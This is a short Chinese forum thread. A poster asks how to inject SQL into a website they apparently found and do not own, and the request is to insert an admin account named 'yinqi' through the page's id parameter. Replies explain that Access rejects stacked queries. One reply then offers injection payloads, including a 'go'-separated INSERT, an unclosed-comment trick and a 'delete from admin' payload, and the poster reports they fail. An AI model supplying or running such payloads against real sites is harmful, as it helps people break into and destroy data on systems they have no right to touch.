我自己找了个网址玩
www.xxxx.com/123.aspx?id=3 
到程序中肯定是这样 select * from admin where id=3 
我想在查询的时间添加一条记录到admin表
select * from admin where id=3; insert into admin(username,password) values('yinqi','123')
在SQL SERVER中测试正常 但是在ACCESS中执行不正常(ACCESS不支持多单句)嗯我想实现这功能 不知道有没有好的办法???

解决方案 »

  1.   

    Access一次只能执行一条SQL。多条SQL需要多次执行,这是限制。 
    在access中没办法的。
      

  2.   

    你想搞sql注入,一般网站是不可能这样搞的,如果对方使用存储过程或者参数化的sql语句你那样作根本不起作用
      

  3.   

    select * from admin where id=3; insert into admin(username,password) values('yinqi','123')有没有办法一句解决问题呢 分开的话就实现不了注入了啊...
      

  4.   


    1. 拼成如下试试
    select * from admin where id=3 go insert into admin(username,password) values('yinqi','123')
    2. 再拼成如下报错试试, 用未闭合的 /* */, 看是不是执行了后面的insert, 如果执行了, 直接用yinqi,123登录
    select * from admin where id=3 */ insert into admin(username,password) values('yinqi','123')3. 再拼成如下试试, 写着玩, 别来真的,  ^_^
    select * from admin where id=3 */ delete from admin 
      

  5.   

    tomzzu
    你的方法行不通 呵呵...
      

  6.   


    insert into admin(username,password)Select username,id from admin where id=3